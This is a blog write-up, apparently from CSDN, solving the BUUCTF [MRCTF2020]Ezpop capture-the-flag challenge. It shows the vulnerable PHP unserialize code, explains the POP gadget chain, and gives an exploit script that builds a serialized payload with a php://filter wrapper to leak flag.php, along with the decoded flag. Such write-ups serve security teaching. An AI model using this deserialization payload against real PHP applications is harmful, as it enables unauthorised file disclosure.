BUUCTF: [MRCTF2020]Ezpop

https://buuoj.cn/challenges#[MRCTF2020]Ezpop

在这里插入图片描述

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

POP链

include($value)<-Modifier::append()<-Modifier::__invoke()<-Test::__get()<-Show::__toString()<-Show::__wakeup()

根据题目信息知道flag.php在当前目录,而整个题目只有include($value)是有办法通过php伪协议读取到flag.php,从Modifier::append()反推。Modifier::__invoke()会调用Modifier::append(),而Modifier::__invoke()的触发条件是把实例对象当作方法调用。很明显,如果把实例对象赋给Test::p时,Test::__get()会触发Modifier::__invoke()

Test::__get()的触发条件是调用不可访问的属性或者方法,能做到的只有Show::__toString(),只需要$this->str=new Test(),即可触发Test::__get()。而Test::__toString()的触发条件这里只有preg_match()Test::__construct()限定了形参为字符型,如果Show::__construct($file)可以传对象,echo 'Welcome to '.$this->source."<br>";应该也会触发Show::__toString

<?php 
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=./flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$show = new Show();
$show->source = new Show();
$show->source->str = new Test();
$show->source->str->p = new Modifier();

echo urlencode(serialize($show));
 ?>

在这里插入图片描述

PS C:\Users\Administrator\Desktop> php -r "var_dump(base64_decode('PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2VmMmVjOWE3LWI3YjUtNGVhYy04MWMwLTU1NjJlN2ExODUwZn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+'));"
Command line code:1:
string(114) "<?php
class Flag{
    private $flag= "flag{ef2ec9a7-b7b5-4eac-81c0-5562e7a1850f}";
}
echo "Help Me Find FLAG!";
?>"
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值